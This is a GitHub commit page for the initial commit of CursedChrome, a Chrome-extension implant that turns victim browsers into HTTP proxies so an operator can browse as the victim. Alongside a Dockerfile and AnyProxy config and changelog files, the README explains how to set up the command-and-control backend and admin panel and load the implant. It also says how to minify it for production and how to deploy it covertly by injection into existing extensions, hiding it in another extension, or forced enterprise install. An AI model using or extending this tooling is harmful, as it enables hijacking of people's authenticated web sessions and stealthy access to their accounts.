Skip to content

Commit 8f72729

Browse files
author
Matthew Bryant (mandatory)
committed
first commit
0 parents  commit 8f72729

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

68 files changed

+24971
-0
lines changed

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
node_modules/*
2+
.DS_Store
3+
*.key
4+
*.crt

Dockerfile

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
FROM node:12.16.2-stretch
2+
3+
RUN mkdir /work/
4+
WORKDIR /work/
5+
COPY package.json /work/
6+
COPY package-lock.json /work/
7+
RUN npm install
8+
9+
COPY ./anyproxy /work/anyproxy/
10+
RUN /work/anyproxy/bin/anyproxy-ca --generate
11+
RUN mkdir /work/ssl/
12+
RUN cp /root/.anyproxy/certificates/rootCA.crt /work/ssl/
13+
RUN cp /root/.anyproxy/certificates/rootCA.key /work/ssl/
14+
15+
# Copy over and build front-end
16+
COPY gui /work/gui
17+
WORKDIR /work/gui
18+
RUN npm install
19+
RUN npm run build
20+
21+
WORKDIR /work/
22+
23+
COPY utils.js /work/
24+
COPY api-server.js /work/
25+
COPY server.js /work/
26+
COPY database.js /work/
27+
COPY docker-entrypoint.sh /work/
28+
29+
RUN npm install -g nodemon
30+
31+
ENTRYPOINT ["/work/docker-entrypoint.sh"]
32+
#ENTRYPOINT ["node", "/work/server.js"]
33+
#ENTRYPOINT ["tail", "-f", "/dev/null"]

README.md

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# CursedChrome
2+
3+
## What is it?
4+
A ([cursed](https://knowyourmeme.com/memes/cursed-image)) Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies. By using the proxies this tool creates you can browse the web authenticated as your victim for all of their websites.
5+
6+
More and more companies are moving toward the ["BeyondCorp"](https://en.wikipedia.org/wiki/BeyondCorp) model (e.g. no flat internal network, zero trust everything). This is usually implemented via a [reverse proxy/OAuth wall](https://github.com/bitly/oauth2_proxy) gating access to services, eliminating the need for a VPN. With more and more access becoming strictly available via the web browser, having a way to easily hijack and use victim's web sessions becomes an ever increasing necessity.
7+
8+
This is especially useful for locked down orgs that make use of [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) where traditional malware can't be used at all. It's also steathy, as all requests will have the appropriate source-IP, cookies, client-certificates, etc since it's being proxying directly through the victim's browser.
9+
10+
## Screenshots
11+
12+
### Web Admin Panel
13+
![](./images/cursed-chrome-web-panel.png)
14+
15+
### Browsing Websites Logged In as Victim (using Firefox with HTTP Proxy)
16+
![](./images/browsing-as-victim-browser.png)
17+
18+
## (Rough) Infrastructure Diagram (`docker-compose` Used)
19+
20+
![](./images/cursedchrome-diagram.png)
21+
22+
### Ports & Listening Interfaces
23+
24+
- `127.0.0.1:8080`: HTTP proxy server (using one of the credentials in the admin panel, you can auth to a specific victim's Chrome browser via this HTTP proxy server). You also need to install the generated CA available via the admin panel before using this.
25+
- `127.0.0.1:4343`: Websocket server, used for communicating with victim Chrome instances to transfer HTTP requests for proxying and sending commands.
26+
- `127.0.0.1:8118`: Admin web panel for viewing victim Chrome instances and getting HTTP proxy credentials.
27+
28+
29+
## Requirements
30+
31+
* [`docker`](https://docs.docker.com/get-docker/) and [`docker-compose`](https://docs.docker.com/compose/install/)
32+
* Chrome web browser
33+
34+
## Setting Up the Backend
35+
36+
The backend is entirely dockerized and can be setup by running the following commands:
37+
38+
```
39+
cd cursedchrome/
40+
# Start up redis and Postgres containers in the background
41+
docker-compose up -d redis db
42+
# Start the CursedChrome backend
43+
docker-compose up cursedchrome
44+
```
45+
46+
Once you start up the backend you'll see an admin username and password printed to the console. You can log into the admin panel at `http://localhost:8118` using these credentials (you will be prompted to change your password upon logging in since the one printed to the console is likely logged).
47+
48+
## Installing the CursedChrome CA for Proxying HTTPS
49+
50+
Once you have the backend setup, log in to the admin panel at `http://localhost:8118` (see above) and click the `Download HTTPS Proxy CA Certificate` button. This will download the generated CA file which is required in order to proxy HTTPS requests.
51+
52+
You will need to install this CA into your root store, the following are instructions for various OS/browsers:
53+
54+
* [OS X/Mac](https://www.sslsupportdesk.com/how-to-import-a-certificate-into-mac-os/)
55+
* [Windows](https://www.sslsupportdesk.com/how-to-enable-or-disable-all-puposes-of-root-certificates-in-mmc/)
56+
* [Linux](https://thomas-leister.de/en/how-to-import-ca-root-certificate/)
57+
* [Firefox (any OS)](https://support.securly.com/hc/en-us/articles/360008547993-How-to-Install-Securly-s-SSL-Certificate-in-Firefox-on-Windows)
58+
59+
## Setting Up the Example Chrome Extension Implant
60+
61+
To install the example chrome extension implant, do the following:
62+
63+
* Open up a Chrome web browser and navigate to `chrome://extensions`.
64+
* Click the toggle in the top-right corner of the page labeled `Developer mode` to enable it.
65+
* Click the `Load unpacked` button in the top-left corner of the page.
66+
* Open the `extension/` folder inside of this repo folder.
67+
* Once you've done so, the extension will be installed.
68+
69+
*Note:* You can debug the implant by clicking on the `background page` link for the text `Inspect views background page` under the `CursedChrome Implant` extension.
70+
71+
After you've install the extension it will show up on the admin control panel at `http://localhost:8118`.
72+
73+
## Modifying Implant Extension
74+
75+
An example implant extension has been included under the `extension/` folder. This extension has the `extension/src/bg/background.js` file which has the extension-side of the implant that connects to the service via WebSocket to proxy requests through the victim's web browser.
76+
77+
The following [extension permissions](https://developer.chrome.com/extensions/api_index) are needed by the implant to operate:
78+
79+
```
80+
"permissions": [
81+
"webRequest",
82+
"webRequestBlocking",
83+
"<all_urls>"
84+
]
85+
```
86+
87+
This code contains comments on how to modify it for a production setup. Basically doing the following:
88+
89+
* Minifying/stripping/uglifying the JavaScript code
90+
* Modifying the WebSocket connection URI in the `initialize()` function to point to the host you've set up the backend on. By default it's set to `ws://localhost:4343` which will work with the out-of-the-box dev setup described in this README.
91+
92+
In a real world attack, this extension code would be used in one of the following ways:
93+
94+
* Injected into an existing extension with proper permissions via Chrome debugging protocol.
95+
* Hidden inside of another extension
96+
* Force-installed via Chrome enterprise policy
97+
98+
These topics are outside of the scope of this README, but eventually will be covered separately.
99+
100+
## Notes on Production Deployments
101+
102+
* You will likely want to run an Nginx server with a valid HTTPS certificate doing a `proxy_pass` to the WebSocket server (running on `127.0.0.1:4343`). Then you'll have TLS-encrypted websocket traffic.
103+
* For a more secure setup, don't expose the HTTP proxy & and admin panel to the Internet directly. Opt for SSL port-forwarding or using a bastion server to connect to it.
104+
* For situations with a large number of victims/bots/implants running, you can horizontally scale out the CursedChrome server as wide as you need to. The socket handling is completely decoupled via `redis`, so it can suppose (theoretically) tens of thousands of concurrent clients.
105+
106+
## Attributions
107+
108+
* The icon used for the web panel favicon and the example Chrome implant extension is provided by Freepik from `www.flaticon.com`.
109+
* The [AnyProxy source code](https://github.com/alibaba/anyproxy) was heavily modified and used for part of this project.

anyproxy/.babelrc

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
{
2+
"presets": [
3+
"es2015",
4+
"stage-0"
5+
]
6+
}

anyproxy/.eslintignore

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
node_modules
2+
dist
3+
web
4+
web2
5+
resource
6+
*.sh
7+
docs

anyproxy/.eslintrc

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
{
2+
"extends": "airbnb",
3+
"parser": "babel-eslint",
4+
"env": {
5+
"browser": true,
6+
"node": true,
7+
"es6": true,
8+
"jasmine": true
9+
},
10+
"globals": {
11+
"React": true,
12+
"ReactDOM": true,
13+
"Zepto": true,
14+
"JsBridgeUtil": true
15+
},
16+
"rules": {
17+
"semi": [0],
18+
"comma-dangle": [0],
19+
"global-require": [0],
20+
"no-alert": [0],
21+
"no-console": [0],
22+
"no-param-reassign": [0],
23+
"max-len": [0],
24+
"func-names": [0],
25+
"no-underscore-dangle": [0],
26+
"no-unused-vars": ["error", { "vars": "all", "args": "none", "ignoreRestSiblings": false }],
27+
"object-shorthand": [0],
28+
"arrow-body-style": [0],
29+
"no-new": [0],
30+
"strict": [0],
31+
"no-script-url": [0],
32+
"spaced-comment": [0],
33+
"no-empty": [0],
34+
"no-constant-condition": [0],
35+
"no-else-return": [0],
36+
"no-use-before-define": [0],
37+
"no-unused-expressions": [0],
38+
"no-class-assign": [0],
39+
"new-cap": [0],
40+
"array-callback-return": [0],
41+
"prefer-template": [0],
42+
"no-restricted-syntax": [0],
43+
"no-trailing-spaces": [0],
44+
"import/no-unresolved": [0],
45+
"jsx-a11y/img-has-alt": [0],
46+
"camelcase": [0],
47+
"consistent-return": [0],
48+
"guard-for-in": [0],
49+
"one-var": [0],
50+
"react/wrap-multilines": [0],
51+
"react/no-multi-comp": [0],
52+
"react/jsx-no-bind": [0],
53+
"react/prop-types": [0],
54+
"react/prefer-stateless-function": [0],
55+
"react/jsx-first-prop-new-line": [0],
56+
"react/sort-comp": [0],
57+
"import/no-extraneous-dependencies": [0],
58+
"import/extensions": [0],
59+
"react/forbid-prop-types": [0],
60+
"react/require-default-props": [0],
61+
"class-methods-use-this": [0],
62+
"jsx-a11y/no-static-element-interactions": [0],
63+
"react/no-did-mount-set-state": [0],
64+
"jsx-a11y/alt-text": [0],
65+
"import/no-dynamic-require": [0],
66+
"no-extra-boolean-cast": [0],
67+
"no-lonely-if": [0],
68+
"no-plusplus": [0],
69+
"generator-star-spacing": ["error", {"before": true, "after": false}],
70+
"require-yield": [0],
71+
"arrow-parens": [0],
72+
"no-template-curly-in-string": [0],
73+
"no-mixed-operators": [0]
74+
}
75+
}

anyproxy/CHANGELOG

Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
22 Dec 2016: AnyProxy 4.0.0-beta:
2+
3+
* to AnyProxy rules: all the rule interfaces are asynchronous now, you can write them in a Promise way
4+
* to the UI, rewrite the code and enhance the user experience
5+
6+
26 Feb 2016: AnyProxy 3.10.4:
7+
8+
* let users assign the port for web socket in AnyProxy cli
9+
10+
19 Sep 2016: AnyProxy 3.10.3:
11+
12+
* fix the cert path issue with Windows
13+
* split out the cert management to an independent module
14+
* add unit tests to AnyProxy
15+
16+
29 Apr 2016: AnyProxy 3.10.0:
17+
18+
* using node-forge to generate HTTPS certificates instead of openssl
19+
20+
29 Apr 2016: AnyProxy 3.9.1:
21+
22+
* update SHA1 to SHA256 for openssl certificates
23+
24+
19 Nov 2015: AnyProxy 3.8.1:
25+
26+
* bugfix for image content in web GUI
27+
28+
19 Nov 2015: AnyProxy 3.8.1:
29+
30+
* bugfix for image content in web GUI
31+
32+
16 Nov 2015: AnyProxy 3.8.0:
33+
34+
* optimize the memory strategy
35+
36+
2 Oct 2015: AnyProxy 3.7.7:
37+
38+
* bugfix for proxy.close() ref #36
39+
40+
9 Sep 2015: AnyProxy 3.7.6:
41+
42+
* optimize detail panel, ref #35
43+
44+
3 Sep 2015: AnyProxy 3.7.5:
45+
46+
* bugfix for intercepting urls like http://a.com?url=http://b.com
47+
48+
19 Aug 2015: AnyProxy 3.7.4:
49+
50+
* bugfix for intercepting urls like http://a.com?url=http://b.com
51+
52+
31 July 2015: AnyProxy 3.7.3:
53+
54+
* show lastest 100 records when visit the web ui
55+
* save map-local config file to local file
56+
* show an indicator when filter or map-local is in use
57+
58+
31 July 2015: AnyProxy 3.7.2:
59+
60+
* bugfix for issue #29
61+
62+
28 July 2015: AnyProxy 3.7.1:
63+
64+
* fix a bug about deflate compression
65+
66+
20 July 2015: AnyProxy 3.7.0:
67+
68+
* add a map-local panel on web ui, now you can easily map some request to your local files
69+
70+
1 July 2015: AnyProxy 3.6.0:
71+
72+
* add a filter on web ui
73+
74+
1 July 2015: AnyProxy 3.5.2:
75+
76+
* optimize the row height on web ui
77+
78+
18 June 2015: AnyProxy 3.5.1:
79+
80+
* print a hint when using SNI features in node <0.12
81+
* Ref : https://github.com/alibaba/anyproxy/issues/25
82+
83+
18 June 2015: AnyProxy 3.5.0:
84+
85+
* it's a formal release of 3.4.0@beta.
86+
87+
27 Apr 2015: AnyProxy 3.4.0@beta:
88+
89+
* optimize web server and web socket interface
90+
91+
20 Apr 2015: AnyProxy 3.3.1:
92+
93+
* now you can assign your own port for web gui
94+
95+
31 Mar 2015: AnyProxy 3.3.0:
96+
97+
* optimize https features in windows
98+
* add switch to mute the console
99+
100+
20 Mar 2015: AnyProxy 3.2.5:
101+
102+
* bugfix for internal https server
103+
104+
19 Mar 2015: AnyProxy 3.2.4:
105+
106+
* bugfix for absolute rule path
107+
108+
23 Feb 2015: AnyProxy 3.2.2:
109+
110+
* [bugfix for relative rule path](https://github.com/alibaba/anyproxy/pull/18)
111+
112+
10 Feb 2015: AnyProxy 3.2.1:
113+
114+
* bugfix for 3.2.0
115+
116+
10 Feb 2015: AnyProxy 3.2.0:
117+
118+
* using SNI when intercepting https requests
119+
120+
28 Jan 2015: AnyProxy 3.1.2:
121+
122+
* thanks to iconv-lite, almost webpage with any charset can be correctly decoded in web interface.
123+
124+
28 Jan 2015: AnyProxy 3.1.1:
125+
126+
* convert GBK to UTF8 in web interface
127+
128+
22 Jan 2015: AnyProxy 3.1.0:
129+
130+
* will NOT intercept https request by default. Use ``anyproxy --intercept`` to turn on this feature.
131+
132+
12 Jan 2015: AnyProxy 3.0.4:
133+
134+
* show anyproxy version by --version
135+
136+
12 Jan 2015: AnyProxy 3.0.3:
137+
138+
* Bugfix: https throttle
139+
140+
9 Jan 2015: AnyProxy 3.0.2:
141+
142+
* UI improvement: add link and qr code to root CA file.

0 commit comments

Comments
 (0)